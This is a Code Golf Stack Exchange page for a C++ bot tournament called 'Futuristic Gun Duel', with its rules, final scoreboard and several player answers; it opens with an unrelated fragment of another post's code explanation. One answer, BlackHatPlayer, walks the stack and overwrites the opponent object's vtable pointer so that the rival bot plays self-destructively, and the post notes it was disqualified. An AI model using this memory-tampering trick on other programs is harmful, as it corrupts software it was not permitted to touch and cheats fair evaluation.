(776): ¬ # Get the first code-point (without popping the code-points themselves) žO # Push builtin "aeiouy" s # Swap to get the first code-point again ç # Convert it to a character l # Then to lowercase å≠i # And if it's NOT in the vowel-string: н # Pop the code-points, and only leave the first code-point # (implicit elses: keep the code-point list) ] # Close both if-statements and the map ˜ # Flatten the list of lists of code-points ç # Convert these code-point integers back into characters J # And join the character-list back together to a single string # (after which the result is output implicitly) ``` ]
[Question] [ # The Background Future In the year 2017, you and your opponent will face off in a futuristic gun battle where only one may survive. Are *you* experienced enough to defeat your opponent? Now is the time to polish your guns skills in your favorite programming language and fight against all odds! ## Tournament Results This tournament ended on the UTC morning of Feburary 2nd, 2017. Thanks to our contestants, we have had an exciting futuristic tournament! MontePlayer is the final winner after a close battles with CBetaPlayer and StudiousPlayer. The three top guen duelers have taken a commemorative photograph: ``` MontePlayer - by TheNumberOne +------------+ CBetaPlayer | | - by George V. Williams +------------+ # 1 | StudiousPlayer - by H Walters | +----------------+ | # 2 # 3 | +------------------------------------------+ The Futurustic Gun Duel @ PPCG.SE 2017 ``` Congratulations to the winners! Detailed leaderboard is seen near the end of this post. ## General Guidance * Visit the [official repository](https://github.com/FYPetro/GunDuel) for the source code used in this tournament. * C++ entries: please inherit the `Player` class. * Non C++ entries: select one interface in section **Interface for Non-C++ submissions**. * Currently allowed non C++ languages: Python 3, Java. --- # The Duel * Each player starts with an unloaded gun that can load an infinite amount of ammo. * Each turn, players will simultaneously choose from one of the following actions: + `0` -- Load 1 ammo into the gun. + `1` -- Fire a bullet at the opponent; costs 1 loaded ammo. + `2` -- Fire a plasma beam at the opponent; costs 2 loaded ammo. + `-` -- Defend incoming bullet using a metal shield. + `=` -- Defend incoming plasma beam using a thermal deflector. * If both players survive after the 100th turn, they both exhaust to death, which results in **a draw**. ## A player *loses* the gun duel if they * Did **NOT** use the metal shield to defend an incoming bullet. * Did **NOT** use the thermal deflector to defend an incoming plasma. * Fire a gun without loading enough ammo, in which their gun will self-explode and kill the owner. ## Caveats According to the *Manual for Futuristic Gun Owners*: * A metal shield **CANNOT** defend from incoming plasma beam. Likewise, a thermal deflector **CANNOT** defend from incoming bullet. * Plasma beam overpowers the bullet (because the former requires more loaded ammo). Therefore, if a player fires a plasma beam at the opponent who fires a bullet in the same turn, the opponent is killed. * If both players fire a bullet at each other in the same turn, the bullets cancel out and both players survive. Likewise, if both players fire a plasma beam at each other in the same turn, both players survive. It's also noteworthy that: * You will **NOT** know your opponent's action in a turn until it ends. * Deflecting plasma beams and shielding bullets will **NOT** harm your opponent. Therefore, there are a total of 25 valid action combinations each turn: ``` +-------------+---------------------------------------------+ | Outcome | P L A Y E R B | | Table +--------+-----------------+------------------+ | for Players | Load | Bullet Plasma | Metal Thermal | +---+---------+--------+--------+--------+--------+---------+ | P | Load | | B wins | B wins | | | | L +---------+--------+--------+--------+--------+---------+ | A | Bullet | A wins | | B wins | | A wins | | Y | +--------+--------+--------+--------+---------+ | E | Plasma | A wins | A wins | | A wins | | | R +---------+--------+--------+--------+--------+---------+ | | Metal | | | B wins | | | | | +--------+--------+--------+--------+---------+ | A | Thermal | | B wins | | | | +---+---------+--------+--------+---------------------------+ Note: Blank cells indicate that both players survive to the next turn. ``` ## Example Duel Here's a duel I once had with a friend. Back then, we didn't know much about programming, so we used hand gestures and signalled at the speed of two turns per second. From left to right, our actions were in turn: ``` Me: 001-000-1201101001----2 Friend: 00-10-=1-==--0100-1---1 ``` As per the rules above, I lost. Do you see why? It's because I fired the final plasma beam when I had only 1 loaded ammo, causing my gun to explode. --- # The C++ Player *You*, as a civilized futuristic programmer, won't directly handle the guns. Instead, you code a `Player` that fights against others'. By publicly inheriting the [c++](/questions/tagged/c%2b%2b "show questions tagged 'c++'") class in the GitHub project, you can start writing your urban legend. ``` Player.hpp can be found in Tournament\Player.hpp An example of a derived class can be found in Tournament\CustomPlayer.hpp ``` ## What you **must** or **can** do * You must inherit `Player` class through public inheritance and declare your class final. * You must override `Player::fight`, which returns a valid `Player::Action` every time it is called. * Optionally, override `Player::perceive` and `Player::declared` to keep an eye on your opponent's actions and keep track of your victories. * Optionally, use private static members and methods in your derived class to perform more complex calculations. * Optionally, use other C++ standard libraries. ## What you must NOT do * You must **NOT** use any direct method to recognize your opponent other than the given opponent identifier, which is shuffled at the beginning of each tournament. You're only allowed to guess who a player is through their game-play within a tournament. * You must **NOT** override any methods in `Player` class that is not declared virtual. * You must **NOT** declare or initialize anything in the global scope. * Since the debut of (now disqualified) [`BlackHatPlayer`](https://codegolf.stackexchange.com/a/105061/11933), players are **NOT** allowed to peek at or modify the state of your opponent. ## An example duel The process of a gun duel is performed using the `GunDuel` class. For an example fight, see the `Source.cpp` in section **Initiating a duel**. We showcase `GunClubPlayer`, `HumanPlayer` and the `GunDuel` class, which can be found in the `Tournament\` directory of the repository. In each duel, `GunClubPlayer` will load a bullet; fire it; rinse and repeat. During every turn, `HumanPlayer` will prompt you for an action to play against your opponent. Your keyboard controls are the characters `0`, `1`, `2`, `-` and `=`. On Windows, you can use `HumanPlayer` to debug your submission. ## Initiating a duel This is how you can debug your player through console. ``` // Source.cpp // An example duel between a HumanPlayer and GunClubPlayer. #include "HumanPlayer.hpp" #include "GunClubPlayer.hpp" #include "GunDuel.hpp" int main() { // Total number of turns per duel. size_t duelLength = 100; // Player identifier 1: HumanPlayer. HumanPlayer human(2); // Player identifier 2: GunClubPlayer. GunClubPlayer gunClub(1); // Prepares a duel. GunDuel duel(human, gunClub, duelLength); // Start a duel. duel.fight(); } ``` ## Example Games The least amount of turns you need to defeat `GunClubPlayer` is 3. Here's the replay from playing `0-1` against `GunClubPlayer`. The number in the paranthesis is the number of loaded ammo for each player when the turn ends. ``` :: Turn 0 You [0/12/-=] >> [0] load ammo (1 ammo) Opponent selects [0] load ammo (1 ammo) :: Turn 1 You [0/12/-=] >> [-] defend using metal shield (1 ammo) Opponent selects [1] fire a bullet (0 ammo) :: Turn 2 You [0/12/-=] >> [1] fire a bullet (0 ammo) Opponent selects [0] load ammo (1 ammo) :: You won after 3 turns! :: Replay YOU 0-1 FOE 010 Press any key to continue . . . ``` The quickest way to be defeated by `GunClubPlayer` without making invalid moves is the sequence `0=`, because the bullet shoots right through the thermal deflector. The replay is ``` :: Turn 0 You [0/12/-=] >> [0] load ammo (1 ammo) Opponent selects [0] load ammo (1 ammo) :: Turn 1 You [0/12/-=] >> [=] defend using thermal deflector (1 ammo) Opponent selects [1] fire a bullet (0 ammo) :: You lost after 2 turns! :: Replay YOU 0= FOE 01 Press any key to continue . . . ``` --- # The Tournament The tournament follows the "Last Player Standing" format. In a tournament, all valid submissions (including the `GunClubPlayer`) are placed in a pool. Each submission is assigned a randomized yet unique identifier that will stay the same during the whole tournament. During each round: * Each submission begins with 0 points and will play 100 duels against every other submission. * Each victorious duel will grant 1 point; drawing and losing give 0 points. * At the end of the round, submissions with the minimum points leave the tournament. In case of a tie, the player with the least amount of points earned since the beginning of the tournament will leave. * If more than one player is left, the next round shall begin. * Points do **NOT** carry over to the next round. ## Submission You'll submit one player per answer. You can submit multiple files for a player, as long as they do **NOT** interfere with other submissions. To keep things flowing, please: * Name your main header file as `<Custom>Player.hpp`, * Name your other files as `<Custom>Player*.*`, e.g. `MyLittlePlayer.txt` if your class name is `MyLittlePlayer`, or `EmoPlayerHates.cpp` if your class name is `EmoPlayer`. * If your name contains `Shooter` or similar words that fit the context of this tournament, you need not add `Player` at the end. If you feel strongly that your submission name works better without the suffix `Player`, you also don't need to add `Player`. * Make sure that your code can be compiled and linked under Windows. You can comment to ask for clarification or to spot loopholes. Hope you enjoy this Futuristic Gun Duel and wish you a Happy New Year! ## Clarification * You are allowed to have randomized behavior. * Invalid actions (firing when loaded ammo isn't enough) are allowed. * If a player makes an invalid input, their gun will explode immediately. * You are allowed to study the answers. * You are **explicitly allowed** to record opponent behavior within each tournament. * Each round, you will play 100 duels against each opponent; the order of the 100 duels, however, is randomized-- you're not guaranteed to fight the same opponent 100 duels in a row. ## Additional Resources @flawr has [translated the provided C++ source into Java](https://github.com/flawr/GunDuel) as a reference if you want to submit C++ entries. ## Interface for Non-C++ Submissions Currently accepted: Python 3, Java. Please follow one of the specifications below: ### Interface specification 1: exit code Your submission will run once per turn. ``` Expected Command Line Argument Format: <opponent-id> <turn> <status> <ammo> <ammo-opponent> <history> <history-opponent> Expected Return Code: The ASCII value of a valid action character. '0' = 48, '1' = 49, '2' = 50, '-' = 45, '=' = 61 <opponent-id> is an integer in [0, N), where N is size of tournament. <turn> is 0-based. If duel is in progress, <status> is 3. If duel is draw / won / lost, <status> is 0 / 1 / 2. <history> and <history-opponent> are strings of actions, e.g. 002 0-= If turn is 0, <history> and <history-opponent> are not provided. You can ignore arguments you don't particularly need. ``` You can test your submission in `PythonPlayer\` and `JavaPlayer\` directories. ### Interface specification 2: stdin/stdout (Credit to H Walters) Your submission will run once per tournament. There's a fixed requirement for all entries on how to do I/O, since both stdin and stdout are connected to the tournament driver. Violating this could lead to a deadlock. All entries **MUST** follow this **EXACT** algorithm (in pseudo-code): ``` LOOP FOREVER READ LINE INTO L IF (LEFT(L,1) == 'I') INITIALIZE ROUND // i.e., set your/opponent ammo to 0, if tracking them // Note: The entire line at this point is a unique id per opponent; // optionally track this as well. CONTINUE LOOP ELSE IF (LEFT(L,1) == 'F') WRITELN F // where F is your move ELSE IF (LEFT(L,1) == 'P') PROCESS MID(L,2,1) // optionally perceive your opponent's action. END IF CONTINUE LOOP QUIT ``` Here, F is one of `0`, `1`, `2`, `-`, or `=` for `load / bullet / plasma / metal / thermal`. PROCESS means to optionally respond to what your opponent did (including tracking your opponent's ammo if you're doing this). Note that the opponent's action is also one of '0', '1', '2', '-', or '=', and is in the second character. ## Final Scoreboard ``` 08:02 AM Tuesday, February 2, 2017 Coordinated Universal Time (UTC) | Player | Language | Points | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | |:------------------ |:---------- | ------:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| -----:| | MontePlayer | C++ | 11413 | 1415 | 1326 | 1247 | 1106 | 1049 | 942 | 845 | 754 | 685 | 555 | 482 | 381 | 287 | 163 | 115 | 61 | | CBetaPlayer | C++ | 7014 | 855 | 755 | 706 | 683 | 611 | 593 | 513 | 470 | 414 | 371 | 309 | 251 | 192 | 143 | 109 | 39 | | StudiousPlayer | C++ | 10014 | 1324 | 1233 | 1125 | 1015 | 907 | 843 | 763 | 635 | 555 | 478 | 403 | 300 | 201 | 156 | 76 | | FatedPlayer | C++ | 6222 | 745 | 683 | 621 | 655 | 605 | 508 | 494 | 456 | 395 | 317 | 241 | 197 | 167 | 138 | | HanSoloPlayer | C++ | 5524 | 748 | 668 | 584 | 523 | 490 | 477 | 455 | 403 | 335 | 293 | 209 | 186 | 153 | | SurvivorPlayer | C++ | 5384 | 769 | 790 | 667 | 574 | 465 | 402 | 354 | 338 | 294 | 290 | 256 | 185 | | SpecificPlayer | C++ | 5316 | 845 | 752 | 669 | 559 | 488 | 427 | 387 | 386 | 340 | 263 | 200 | | DeceptivePlayer | C++ | 4187 | 559 | 445 | 464 | 474 | 462 | 442 | 438 | 369 | 301 | 233 | | NotSoPatientPlayer | C++ | 5105 | 931 | 832 | 742 | 626 | 515 | 469 | 352 | 357 | 281 | | BarricadePlayer | C++ | 4171 | 661 | 677 | 614 | 567 | 527 | 415 | 378 | 332 | | BotRobotPlayer | C++ | 3381 | 607 | 510 | 523 | 499 | 496 | 425 | 321 | | SadisticShooter | C++ | 3826 | 905 | 780 | 686 | 590 | 475 | 390 | | TurtlePlayer | C++ | 3047 | 754 | 722 | 608 | 539 | 424 | | CamtoPlayer | C++ | 2308 | 725 | 641 | 537 | 405 | | OpportunistPlayer | C++ | 1173 | 426 | 420 | 327 | | GunClubPlayer | C++ | 888 | 500 | 388 | | PlasmaPlayer | C++ | 399 | 399 | ``` The tournament will last till **February 1, 2017** unless otherwise noted. [Answer] > > # The `BlackHatPlayer` > > > The BlackHat Player knows that bullets and shields are a thing of the past; the actual wars are won by those who can hack the opponent's programs. > > > So, he puts on a fixed metal shield and starts doing his thing. > > > The first time he is asked to `fight`, he tries to localize his enemy in memory. Given the structure of the fighting arena, it's almost sure that the compiler will end up putting his address (wrapped in an `unique_ptr`) and the one of the opponent just one next to the other. > > > So, the BlackHat walks carefully the stack, using some simple heuristics to make sure not to underflow it, until he finds a pointer to himself; then checks if the values in the adjacent positions are plausibly his opponent - similar address, similar address of the vtable, plausible `typeid`. > > > If it manages to find him, he sucks his brains out and replaces them with the ones of a hothead idiot. In practice, this is done by replacing the opponent's pointer to the vtable with the address of the `Idiot` vtable - a dumb player who always shoots. > > > If this all succeeds (and in my tests - gcc 6 on Linux 64 bit, MinGW 4.8 on wine 32 bit - this works quite reliably), the war is won. Whatever the opponent did at the first round is not important - at worst he shot us, and we had the metal shield on. > > > From now on, we have an idiot just shooting; we always have our shield on, so we are protected, and he'll blow up in 1 to 3 rounds (depending on what the original bot did in his first `fight` call). > > > --- Now: I'm almost sure that this should be disqualified immediately, but it's funny that I'm not explicitly violating any of the rules stated above: > > ## What you must NOT do > > > * You must NOT use any direct method to recognize your opponent other than the given opponent identifier, which is completely randomized at the beginning of each tournament. You're only allowed to guess who a player is through their gameplay within a tournament. > > > BlackHat does not try to recognize the opponent - actually, it's completely irrelevant who the opponent is, given that his brain is replaced immediately. > > * You must NOT override any methods in Player class that is not declared virtual. > * You must NOT declare or initialize anything in the global scope. > > > Everything happens locally to the `fight` virtual function. --- ``` // BlackHatPlayer.hpp #ifndef __BLACKHAT_PLAYER_HPP__ #define __BLACKHAT_PLAYER_HPP__ #include "Player.hpp" #include <stddef.h> #include <typeinfo> #include <algorithm> #include <string.h> class BlackHatPlayer final : public Player { public: using Player::Player; virtual Action fight() { // Always metal; if the other is an Idiot, he only shoots, // and if he isn't an Idiot yet (=first round) it's the only move that // is always safe if(tricked) return metal(); // Mark that at the next iterations we don't have to do all this stuff tricked = true; typedef uintptr_t word; typedef uintptr_t *pword; typedef uint8_t *pbyte; // Size of one memory page; we use it to walk the stack carefully const size_t pageSize = 4096; // Maximum allowed difference between the vtables const ptrdiff_t maxVTblDelta = 65536; // Maximum allowed difference between this and the other player ptrdiff_t maxObjsDelta = 131072; // Our adversary Player *c = nullptr; // Gets the start address of the memory page for the given object auto getPage = [&](void *obj) { return pword(word(obj) & (~word(pageSize-1))); }; // Gets the start address of the memory page *next* to the one of the given object auto getNextPage = [&](void *obj) { return pword(pbyte(getPage(obj)) + pageSize); }; // Gets a pointer to the first element of the vtable auto getVTbl = [](void *obj) { return pword(pword(obj)[0]); }; // Let's make some mess to make sure that: // - we have an actual variable on the stack; // - we call an external (non-inline) function that ensures everything // is spilled on the stack // - the compiler actually generates the full vtables (in the current // tournament this shouldn't be an issue, but in earlier sketches // the compiler inlined everything and killed the vtables) volatile word i = 0; for(const char *sz = typeid(*(this+i)).name(); *sz; ++sz) i+=*sz; // Grab my vtable word *myVTbl = getVTbl(this); // Do the stack walk // Limit for the stack walk; use i as a reference word *stackEnd = getNextPage((pword)(&i)); for(word *sp = pword(&i); // start from the location of i sp!=stackEnd && c==nullptr; ++sp) { // assume that the stack grows downwards // If we find something that looks like a pointer to memory // in a page just further on the stack, take it as a clue that the // stack in facts does go on if(getPage(pword(*sp))==stackEnd) { stackEnd = getNextPage(pword(*sp)); } // We are looking for our own address on the stack if(*sp!=(word)this) continue; auto checkCandidate = [&](void *candidate) -> Player* { // Don't even try with NULLs and the like if(getPage(candidate)==nullptr) return nullptr; // Don't trust objects too far away from us - it's probably something else if(abs(pbyte(candidate)-pbyte(this))>maxObjsDelta) return nullptr; // Grab the vtable, check if it actually looks like one (it should be // decently near to ours) pword vtbl = getVTbl(candidate); if(abs(vtbl-myVTbl)>maxVTblDelta) return nullptr; // Final check: try to see if its name looks like a "Player" Player *p = (Player *)candidate; if(strstr(typeid(*p).name(), "layer")==0) return nullptr; // Jackpot! return p; }; // Look around us - a pointer to our opponent should be just near c = checkCandidate((void *)sp[-1]); if(c==nullptr) c=checkCandidate((void *)sp[1]); } if(c!=nullptr) { // We found it! Suck his brains out and put there the brains of a hothead idiot struct Idiot : Player { virtual Action fight() { // Always fire, never reload; blow up in two turns // (while we are always using the metal shield to protect ourselves) return bullet(); } }; Idiot idiot; // replace the vptr (*(word *)(c)) = word(getVTbl(&idiot)); } // Always metal shield to be protected from the Idiot return metal(); } private: bool tricked = false; }; #endif // !__BLACKHAT_PLAYER_HPP__ ``` [Answer] Next, the most feared of all creatures, it's been to hell and back and fought with *literally 900000 other bots*, its... > > ## The `BotRobot` > > > BotRobot was named, trained and built automatically by a very basic Genetic algorithm. Two teams of 9 were set up against eachother, in each generation, each robot from team 1 is put up against each robot of team 2. The robots with more wins than losses, kept its memory, the other, reverted back to the last step, and had a chance to forget something, hopefully bad. The bots themselves are glorified lookup tables, where if they found something they hadn't seen before, they'd simply pick a random valid option and save it to memory. The C++ version does not do this, *it should have learned*. As stated before, winning bots keep this new found memory, as clearly it worked. Losing bots don't, and keep what they started with. In the end, the bot fights were fairly close, rarely stalemating. The winner was picked out of a [pool](http://pastebin.com/5dnhW39E) of the two teams post evolution, which was 100000 generations. BotRobot, with its randomly generated and *BEAUTIFUL* name, was the lucky one. [Generator](http://pastebin.com/fwZfKPZt) [bot.lua](http://pastebin.com/0kwha04S) **Revision:** Although the robot was fairly smart against himself and other similarly generated robots, he proved fairly useless in actual battles. So, I regenerated his brain against some of the already created bots. The results, as can easily be seen, is a much more complex brain, with options up to the enemy player having *12* ammo. I'm not sure what he was fighting against that got up to 12 ammo, but something did. And of course, the finished product... ``` // BotRobot // ONE HUNDRED THOUSAND GENERATIONS TO MAKE THE ULTIMATE LIFEFORM! #ifndef __BOT_ROBOT_PLAYER_HPP__ #define __BOT_ROBOT_PLAYER_HPP__ #include "Player.hpp" class BotRobotPlayer final : public Player { public: BotRobotPlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { std::string action = ""; action += std::to_string(getAmmo()); action += ":"; action += std::to_string(getAmmoOpponent()); int toDo = 3; for (int i = 0; i < int(sizeof(options)/sizeof(*options)); i++) { if (options[i].compare(action)==0) { toDo = outputs[i]; break; } } switch (toDo) { case 0: return load(); case 1: return bullet(); case 2: return plasma(); case 3: return metal(); default: return thermal(); } } private: std::string options[29] = { "0:9", "1:12", "1:10", "0:10", "1:11", "0:11", "0:6", "2:2", "0:2", "2:6", "3:6", "0:7", "1:3", "2:3", "0:3", "2:0", "1:0", "0:4", "1:4", "2:4", "0:0", "3:0", "1:1", "2:1", "2:9", "0:5", "0:8", "3:1", "0:1" }; int outputs[29] = { 0, 1, 1, 4, 1, 0, 0, 4, 4, 0, 0, 3, 0, 1, 3, 0, 1, 4, 0, 1, 0, 1, 0, 3, 4, 3, 0, 1, 0 }; }; #endif // !__BOT_ROBOT_PLAYER_HPP__ ``` I *hate* C++ now... [Answer] > > ## `CBetaPlayer` (cβ) > > > Approximate Nash Equilibrium. > > > This bot is just fancy math with a code wrapper. > > > We can reframe this as a game theory problem. Denote a win by +1 and a loss by -1. Now let B(x, y) be the value of the game where we have x ammo and our opponent has y ammo. Note that B(a, b) = -B(b, a) and so B(a, a) = 0. To find B values in terms of other B values, we can compute the value of the payoff matrix. For example, we have that B(1, 0) is given by the value of the following subgame: > > > > ``` > load metal > load B(0, 1) B(2, 0) > bullet +1 B(0, 0) > > ``` > > (I've removed the "bad" options, aka the ones which are strictly dominated by the existing solutions. For example, we would not try to shoot plasma since we only have 1 ammo. Likewise our opponent would never use a thermal deflector, since we will never shoot plasma.) > > > Game theory lets us know how to find the value of this payoff matrix, assuming certain technical conditions. We get that the value of the above matrix is: > > > > ``` > B(2, 0) > B(1, 0) = --------------------- > 1 + B(2, 0) - B(2, 1) > > ``` > > Proceeding for all possible games and noting that B(x, y) -> 1 as x -> infinity with y fixed, we can find all the B values, which in turn lets us compute the perfect moves! > > > Of course, theory rarely lines up with reality. Solving the equation for even small values of x and y quickly becomes too complicated. In order to deal with this, I introduced what I call the cβ-approximation. There are 7 parameters to this approximation: c0, β0, c1, β1, c, β and k. I assumed that the B values took the following form (most specific forms first): > > > > ``` > B(1, 0) = k > B(x, 0) = 1 - c0 β0^x > B(x, 1) = 1 - c1 β1^x > B(x, y) = 1 - c β^(x - y) (if x > y) > > ``` > > Some rough reasoning on why I chose these parameters. First I knew that I definitely wanted to deal with having 0, 1 and 2 or more ammo separately, since each opens different options. Also I thought a geometric survival function would be the most appropriate, because the defensive player is essentially guessing what move to make. I figured that having 2 or more ammo was basically the same, so I focused on the difference instead. I also wanted to treat B(1, 0) as a super special case because I thought it would show up a lot. Using these approximate forms simplified the calculations of the B values greatly. > > > I approximately solved the resulting equations to get each B value, which I then put back into the matrix in order to get the payoff matrices. Then using a linear programing solver, I found the optimal probabilities to make each move and shoved them into the program. > > > The program is a glorified lookup table. If both players have between 0 and 4 ammo, it uses the probability matrix to randomly determine which move it should make. Otherwise, it tries to extrapolate based on its table. > > > It has trouble against stupid deterministic bots, but does pretty well against rational bots. Because of all the approximation, this will occasionally lose to StudiousPlayer when it really shouldn't. > > > Of course, if I was to do this again I would probably try to add more independent parameters or perhaps a better ansatz form and come up with a more exact solution. Also I (purposely) ignored the turn-limit, because it made things harder. A quick modification could be made to always shoot plasma if we have enough ammo and there aren't enough turns left. > > > ``` // CBetaPlayer (cβ) // PPCG: George V. Williams #ifndef __CBETA_PLAYER_HPP__ #define __CBETA_PLAYER_HPP__ #include "Player.hpp" #include <iostream> class CBetaPlayer final : public Player { public: CBetaPlayer(size_t opponent = -1) : Player(opponent) { } public: virtual Action fight() { int my_ammo = getAmmo(), opp_ammo = getAmmoOpponent(); while (my_ammo >= MAX_AMMO || opp_ammo >= MAX_AMMO) { my_ammo--; opp_ammo--; } if (my_ammo < 0) my_ammo = 0; if (opp_ammo < 0) opp_ammo = 0; double cdf = GetRandomDouble(); int move = -1; while (cdf > 0 && move < MAX_MOVES - 1) cdf -= probs[my_ammo][opp_ammo][++move]; switch (move) { case 0: return load(); case 1: return bullet(); case 2: return plasma(); case 3: return metal(); case 4: return thermal(); default: return fight(); } } static double GetRandomDouble() { static auto seed = std::chrono::system_clock::now().time_since_epoch().count(); static std::default_random_engine generator((unsigned)seed); std::uniform_real_distribution<double> distribution(0.0, 1.0); return distribution(generator); } private: static const int MAX_AMMO = 5; static const int MAX_MOVES = 5; double probs[MAX_AMMO][MAX_AMMO][5] = { {{1, 0, 0, 0, 0}, {0.58359, 0, 0, 0.41641, 0}, {0.28835, 0, 0, 0.50247, 0.20918}, {0.17984, 0, 0, 0.54611, 0.27405}, {0.12707, 0, 0, 0.56275, 0.31018}}, {{0.7377, 0.2623, 0, 0, 0}, {0.28907, 0.21569, 0, 0.49524, 0}, {0.0461, 0.06632, 0, 0.53336, 0.35422}, {0.06464, 0.05069, 0, 0.43704, 0.44763}, {0.02215, 0.038, 0, 0.33631, 0.60354}}, {{0.47406, 0.37135, 0.1546, 0, 0}, {0.1862, 0.24577, 0.15519, 0.41284, 0}, {0, 0.28343, 0.35828, 0, 0.35828}, {0, 0.20234, 0.31224, 0, 0.48542}, {0, 0.12953, 0.26546, 0, 0.605}}, {{0.33075, 0.44563, 0.22362, 0, 0}, {0.17867, 0.20071, 0.20071, 0.41991, 0}, {0, 0.30849, 0.43234, 0, 0.25916}, {0, 0.21836, 0.39082, 0, 0.39082}, {0, 0.14328, 0.33659, 0, 0.52013}}, {{0.24032, 0.48974, 0.26994, 0, 0}, {0.14807, 0.15668, 0.27756, 0.41769, 0}, {0, 0.26804, 0.53575, 0, 0.19621}, {0, 0.22106, 0.48124, 0, 0.2977}, {0, 0.15411, 0.42294, 0, 0.42294}} }; }; #endif // !__CBETA_PLAYER_HPP__ ``` [Answer] # MontePlayer This player uses the Decoupled UCT Monte Carlo Tree Search algorithm to decide what choices it should make. It tracks what the enemy does to predict its actions. It simulates the enemy as itself if it lacks data. This bot does really well against every other bot except cβ. In a 10000 duel match against cβ, Monte won 5246 duels. With a little bit of maths, that means that Monte will win a duel against cβ 51.17% to 53.74% of the time (99% confidence). ``` #ifndef __Monte_PLAYER_HPP__ #define __Monte_PLAYER_HPP__ #include "Player.hpp" #include <cstdlib> #include <ctime> #include <memory> #include <iostream> class MontePlayer final : public Player { static const int MAX_TURNS = 100; static const int TOTAL_ACTIONS = 5; //Increase this if number of players goes above 20. static const int MAX_PLAYERS = 20; //The number of simulated games we run every time our program is called. static const int MONTE_ROUNDS = 1000; /** * Represents the current state of the game. */ struct Game { int turn; int ammo; int opponentAmmo; bool alive; bool opponentAlive; Game(int turn, int ammo, int opponentAmmo, bool alive, bool opponentAlive) : turn(turn), ammo(ammo), opponentAmmo(opponentAmmo), alive(alive), opponentAlive(opponentAlive) {} Game() : turn(0), ammo(0), opponentAmmo(0), alive(false), opponentAlive(false) {} }; struct Stat { int wins; int attempts; Stat() : wins(0), attempts(0) {} }; /** * A Monte tree data structure. */ struct MonteTree { //The state of the game. Game game; //myStats[i] returns the statistic for doing the i action in this state. Stat myStats[TOTAL_ACTIONS]; //opponentStats[i] returns the statistic for the opponent doing the i action in this state. Stat opponentStats[TOTAL_ACTIONS]; //Total number of times we've created statistics from this tree. int totalPlays = 0; //The action that led to this tree. int myAction; //The opponent action that led to this tree. int opponentAction; //The tree preceding this one. MonteTree *parent = NULL; //subtrees[i][j] is the tree that would follow if I did action i and the //opponent did action j. MonteTree *subtrees[TOTAL_ACTIONS][TOTAL_ACTIONS] = { { NULL } }; MonteTree(int turn, int ammo, int opponentAmmo) : game(turn, ammo, opponentAmmo, true, true) {} MonteTree(Game game, MonteTree *parent, int myAction, int opponentAction) : game(game), parent(parent), myAction(myAction), opponentAction(opponentAction) { //Make sure the parent tree keeps track of this tree. parent->subtrees[myAction][opponentAction] = this; } //The destructor so we can avoid slow ptr types and memory leaks. ~MonteTree() { //Delete all subtrees. for (int i = 0; i < TOTAL_ACTIONS; i++) { for (int j = 0; j < TOTAL_ACTIONS; j++) { auto branch = subtrees[i][j]; if (branch) { branch->parent = NULL; delete branch; } } } } }; //The previous state. Game prevGame; //The id of the opponent. int opponent; //opponentHistory[a][b][c][d] returns the number of times //that opponent a did action d when I had b ammo and he had c ammo. static int opponentHistory[MAX_PLAYERS][MAX_TURNS][MAX_TURNS][TOTAL_ACTIONS]; public: MontePlayer(size_t opponent = -1) : Player(opponent) { srand(time(NULL)); this->opponent = opponent; } public: virtual Action fight() { //Create the root tree. Will be auto-destroyed after this function ends. MonteTree current(getTurn(), getAmmo(), getAmmoOpponent()); //Set the previous game to this one. prevGame = current.game; //Get these variables so we can log later if nessecarry. int turn = getTurn(), ammo = getAmmo(), opponentAmmo = getAmmoOpponent(); for (int i = 0; i < MONTE_ROUNDS; i++) { //Go down the tree until we find a leaf we haven't visites yet. MonteTree *leaf = selection(&current); //Randomly simulate the game at the leaf and get the result. int score = simulate(leaf->game); //Propagate the scores back up the root. update(leaf, score); } //Get the best move. int move = bestMove(current); //Move string for debugging purposes. const char* m; //We have to do this so our bots state is updated. switch (move) { case Action::LOAD: load(); m = "load"; break; case Action::BULLET: bullet(); m = "bullet"; break; case Action::PLASMA: plasma(); m = "plasma"; break; case Action::METAL: metal(); m = "metal"; break; case Action::THERMAL: thermal(); m = "thermal"; break; default: //??? std::cout << move << " ???????\n"; throw move; } return (Action)move; } /** * Record what the enemy does so we can predict him. */ virtual void perceive(Action action) { Player::perceive(action); opponentHistory[opponent][prevGame.ammo][prevGame.opponentAmmo][action]++; } private: /** * Trickle down root until we have to create a new leaf MonteTree or we hit the end of a game. */ MonteTree * selection(MonteTree *root) { while (!atEnd(root->game)) { //First pick the move that my bot will do. //The action my bot will do. int myAction; //The number of actions with the same bestScore. int same = 0; //The bestScore double bestScore = -1; for (int i = 0; i < TOTAL_ACTIONS; i++) { //Ignore invalid or idiot moves. if (!isValidMove(root->game, i, true)) { continue; } //Get the score for doing move i. Uses double score = computeScore(*root, i, true); //Randomly select one score if multiple actions have the same score. //Why this works is boring to explain. if (score == bestScore) { same++; if (Random(same) == 0) { myAction = i; } } //Yay! We found a better action. else if (score > bestScore) { same = 1; myAction = i; bestScore = score; } } //The action the enemy will do. int enemyAction; //The number of times the enemy has been in this same situation. int totalEnemyEncounters = 0; for (int i = 0; i < TOTAL_ACTIONS; i++) { totalEnemyEncounters += opponentHistory[opponent][root->game.ammo][root->game.opponentAmmo][i]; } //Assume the enemy will choose an action it has chosen before if we've //seen it in this situation before. Otherwise we assume that the enemy is ourselves. if (totalEnemyEncounters > 0) { //Randomly select an action that the enemy has done with //weighted by the number of times that action has been done. int selection = Random(totalEnemyEncounters); for (int i = 0; i < TOTAL_ACTIONS; i++) { selection -= opponentHistory[opponent][root->game.ammo][root->game.opponentAmmo][i]; if (selection < 0) { enemyAction = i; break; } } } else { //Use the same algorithm to pick the enemies move we use for ourselves. same = 0; bestScore = -1; for (int i = 0; i < TOTAL_ACTIONS; i++) { if (!isValidMove(root->game, i, false)) { continue; } double score = computeScore(*root, i, false); if (score == bestScore) { same++; if (Random(same) == 0) { enemyAction = i; } } else if (score > bestScore) { same = 1; enemyAction = i; bestScore = score; } } } //If this combination of actions hasn't been explored yet, create a new subtree to explore. if (!(*root).subtrees[myAction][enemyAction]) { return expand(root, myAction, enemyAction); } //Do these actions and explore the next subtree. root = (*root).subtrees[myAction][enemyAction]; } return root; } /** * Creates a new leaf under root for the actions. */ MonteTree * expand(MonteTree *root, int myAction, int enemyAction) { return new MonteTree( doTurn(root->game, myAction, enemyAction), root, myAction, enemyAction); } /** * Computes the score of the given move in 